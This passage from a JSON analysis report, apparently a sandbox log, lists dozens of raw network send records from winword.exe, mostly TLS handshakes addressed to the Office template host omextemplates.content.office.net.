  346. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04~\\x8f\\x044\\xcdr4\\x9a\\xda\\x1cr\\xbd\\x06k\\x8b\\xc2\\xbd\\xdb\\x03x\\xcf\\xf2\\xad\\x8a7\\xae\\x8b\\xdcla\\x1e\\xf3r)wzs\\x04b\\x17\\x1d\\x99\\xe9\\x1c\\xa1\\xc6\\xdd[\\x8dc\\xeb\\x84\\x91\\x86j\\x18\\x06qraj`\\x86\\xa8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000iu\r\\x166\\xe8\\xff!\\x18\\xf7\\xc6\\xa9\\x08}'qg=\\xc7\\xfb\\x00\\xc7\\x85\\xe8\\xb5\\x8ag\\xa7.\\x1e\\x8d\\xb3\\xe6z\\xd6\\xb4\\xe1\\xf9\\xc3\\xe0\\xe4r\\xad\\xc97\\xc2o&"
  347. },
  348. {
  349. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pu\\x80\\xf8\\xfc;\\x98?\\x0e$\\x8e+\\x94>r6j\\x02\\xf0\\x04$\\xe0\\x1dzx\"?\\xbf\\xd7\\x1e\\xcfu\\xe6\\xdf\\xa5\\xa7\\x03\\x18\\x9d\\x9d\\x81\\x1e~0=\\xf3\\xc7\\x8e\\x0e\\x00itqj#\\x04l\\xce7\\x17hs9\\xe0%\\xf2\\x9e\\xc2\\x9f;\\xa6\\xb1\\xd1\\x9f\\x04\\x94\\xda$fy\\xfe\\x9au.\\xfdnd)#\\xe2b\\xdcr \\xf9x@\\x18\\xce\\xc8\\xe4\\x1e\\x90\\xa4\\xfb\\x7f\\x9f\\xdf\\x05\\xf7\\xa1o\\xf1c\rx\\xd3\\x0eez\\xbb\\xb0\\x07\\xd5a\\xb3\\xa6|\\x8b\n3\\xa4\\x03\\xfe/\\x93\\xaa\\xed\\xb3*\\xd5\\xe0\\xdec\\xbc\\xba\\xb1w\\x02\\xbde\\xd5o4\\xa7\\xb1\\x89r\\xd93-\\x15\\x8fm\\xe7\\xddrak\\x18\\x91oz\\x14\\xbc\\xc3\\xbbf\\x1c;\\xfai\\x94\\x11\\xc9\\x96\\xf6f\\xd6\\x10\\xe7\\xd6\\x16.\\xa0\\x99\\xd7\\xda\\x93d\\xff\\xa0\\xe6\\xf3\\x0bb\\x9b\\x0e\\x1f\\xae\\xc1\\xd1g\\x9e\\x8d\\xa8?\\4\\xac\\xd6/\\xb2.o\\xc8c\\x97\\xe2\\x80@\\x1b\\xb8\\x06\\xe64\\xb5\\xdc\\xdf\\x13b\\x9ep\\xeei\\xdc\n\\x82\\x1e;\\xb0\\x07"
  350. },
  351. {
  352. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f$\\xda\\x17\\xd1u\\xe0t;\\xb9\\x07\\xd6;j\\x9d\\xdas\\x10\\xeb\\xdf\\x96'o\\xeb\\xe548\\xc3\\xce\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  353. },
  354. {
  355. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x01q~\\\\x15\\xac_\\xea/\\xaa7\\x02i\\xa0\\xbd\\xa9r\\xe8)\\x85\\xf0\\xe8.p\\xdd\\xd9\\x85\\\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  356. },
  357. {
  358. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x12\"x\\xebqi\\xef\\x9da\\x1d5\\xcf?gqk(sg\\x12\\x84\\xf6\\xfc\\xf9\\xcc}\\xa55\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  359. },
  360. {
  361. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x90\\xa9-i-\\xa3q\\xad\\xfa\\x12\\xa3\\xee\n\\xb1\\xf1^\\xadyy\\xd4y\\x07q\\xecz\\x86\\x1a\\xd6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  362. },
  363. {
  364. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xf1j\\xfa[\\xc9\\x8f3i\\xa2\\xc3z\\x00\\xc05\\xc7v\\x988\\x06\\xd7)\\x1ey\\x19*\\xc1\\xd8\\x9b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  365. },
  366. {
  367. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fv\\xf4\\xd3]n\\xf8\\xae\\xad\\xc5\\xf7\\xd2v\\xd3\\x02[u\\xb5\\x9den\\xfb!\\x98\\x81\\x02\\x172\\x02\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  368. },
  369. {
  370. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xaa&\\xea\\xdc\\x9e\\xb3\\xb7)u\\xda\\xb0\\x01\\xccu\\xa1\\xb6\\xd9\\x8d\\xd4\\x96\\xd1\\x8dy\\xc8\\xf6\\xe2\\x07\\xbf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  371. },
  372. {
  373. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xbcg3\\x01\\x85d\\xcfv\\xef\\xca\\x07\\xa8\\x12\\x14r\\x9f#\\xd1vd\\x05n\\x9dbe.\\x8b\\xcc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  374. },
  375. {
  376. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xda\\x17\\xf6\\x14d\\x7f[\\x12hz-\\x91p\\x19\\x9fg\\x1b\\xba3o\\x9d\\xca\\xb6\\x14\\xb5\\x07\\x88\\xe3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  377. },
  378. {
  379. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xc3\\x1av\\xa2\\x99\\xb1\\xf4rs\\xf1b\\x01s\\x9c\\xbayu1\\xbc*m_)\\xba\\xc2h]9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  380. },
  381. {
  382. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fq\\xcef\\xcdc\\x03\\xfc\\x00#$\\xc4\\xcb\\x00\\x1dd\\x13\\x81\\xe8\\x9b\\xe6\\xf4u 2\\xb1\\xef\\x86\\xe4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  383. },
  384. {
  385. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x8a\\xd5\\x05\\xf7\\xd1\\xd2\\xafzd\\xd7\\xde\\x80g\\x06\\x03$\\x13p\\xae\\xd1\\xb3y\\xcd\\xd1l|}]\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  386. },
  387. {
  388. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fa0\\x06l\\i\\xfd\\x13d\\x10\\xfe\\xdaa\\xd3\\xb9\\x97\\x83\\x10\\xb4|z\\xb3\\xdf\\xc2\\xf4c\\xcez\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  389. },
  390. {
  391. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fj\\x03\\x98b?s\\xde8\\xb07\\xfd\\xc9\\x1f\\xb3\\xa8\\xf0\\x17l\\xc5n\\xbb\\x11\\xaa\\xa07uk\"\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  392. },
  393. {
  394. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xbaoz^\\xfc\\xbc\\x8a\\x14t\\xc2\\xf0|o\\x0c&\\ll\\xe1\\x1b\\xd7p\\x1a3\\x0c\\x8d\\xee\\x95\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  395. },
  396. {
  397. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fh\\xf0u\\x06x\\xd4<\\xd7|\\xe527\"&n\\xa9\\xb4x)\\x07m\\x85d\\xd2u\\x00dx\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  398. },
  399. {
  400. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x15\\x9eiid0\\xc1#59'\\x91\\xe3=\\xa1\\x8e@y\\x1c\\xa1_\\xf1\\xba\\x11k6{\\x82\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  401. },
  402. {
  403. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fv\\x1b\\x0fa\\xee\\x10\\x8f\\x93\\x91\\xe3\\xb1\\xf6\\xf2b\\xf4y\\xed<\\x9d9\\xcd\\x85'\\xa9x\\xdb\\x1ar\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  404. },
  405. {
  406. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fzk=\\xd3]m-\\x06\\xf4c+\\xfc\\x9e\\x83g\\xbbn\\xcf\\x00\\x92%\\x12a*\\xd9\\xaf`\\xbd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  407. },
  408. {
  409. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xaa\\x7f3!\\xfd\\x919~m\\xf6\\xf6@\\xc2\\xab\\xba=l\\xd8o\\x8e\\xe2\\x04z\\xc6\\xe5\\xb4)r\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  410. },
  411. {
  412. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fr\\xd4\\x1f\\xaa\\x1do)\\xf8\\x1ab&n\\xd6\\x81\\xf2\\xaac\\xb1\\x86\\xc0\\x9e\\xa0\\xc1kc&$\\xd6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  413. },
  414. {
  415. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xd3\\x83na{\\xeb14\\x7f\\xad?x\\xaa\\x16\\xb7l\\x05w\\xdd\\xf8\\xe4\\xd1\\x02q\\xec\\x1a\\x00r\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  416. },
  417. {
  418. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f \\x03\\xe3p\\x1d4\\x83_\\xb1^\\xbb\\x86s'\\xae\\x17\\x99-\\xa9\\xaf\\xc3\\x9ai\re\\xe1\\xa3\\xe2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  419. },
  420. {
  421. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x825z!2\\x0e\t5\\xdb\",\\x13%\\x99\\xfe\\xd2y\\x86\\x9d\\xd9o\\xaf\\xe8\\xbb\\xee\\x9e\\xb2\\xd5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  422. },
  423. {
  424. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xcb\\x9c|\\xecy\\x1fz\"'\\xa8\\x8e\\xccf\\xe2\\x89\\x1e\\xa8\\xb9\\xe3oo\\x15\\xf9\\x8dd\\xfa\\xd4\\xae\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  425. },
  426. {
  427. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f-\\xc9\\xe1#\\xcb\\xbb\\x06\\x1f\\x98\\xed\\x94\\x00?\\xd4w\\xe6ot\\xd9\\x05\\x8e\\xd4op.\\xf2q\\xb1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  428. },
  429. {
  430. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xa1\\x10\\xb4(@]0\\x9bb\\x88\\x8c\\x8e\\xdc^p]w\\x08\\xf3\\x98*\\x98%5c\\xcd4\\x9a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  431. },
  432. {
  433. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x7f\\xce\\x10\\x90\\xcb\\x83\\xd8<p#(\\xb9h\\xc7i`\\xdew\\x94\\x7f\\xa4\\xbe\\x1c\\xddb[\\xb4m\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  434. },
  435. {
  436. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fi'g\\xb5\\xec\\xa4\\xfd\\xea\\xab\\x13\\x15t\\x1b\\xf3\\x03\\xbe\\xe1\\xe2#\\xfc\\xa2\\xff\\x04\\x84\\x08\\xfa1\\xe7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  437. },
  438. {
  439. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fz\\xca}bhe\\xc5<g\\xd4x\\xe35\\xcf]q\\x00\\x85\\xe7\\xbd\\xaa*\\xf9\\xfc\\x12\\xedq\\xda\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  440. },
  441. {
  442. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x19\\x00\\x97\\xd3\\xec{e%d\\x1f?02\\xa3\\x8d3\\xa1\\x94\\x16p\\x17\\xbc[\\xfeaf\\x88\\x84\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  443. },
  444. {
  445. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fd`h\\xbci\\xee\\xabm\\xae&m\\x01p&pi\\xca\\x1d0e\\x19\\x86\\xca\\xe8b\\x0e\\x1b\\xa3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  446. },
  447. {
  448. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x00\\xd7)\\xa2\\x11\\xaerd\\xfe\\xaf7\\x9f\\x10~\\\\x9a\\x87<\\xe26\\x08v\\xaa\\xe7\n|\\xe0\\xb5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  449. },
  450. {
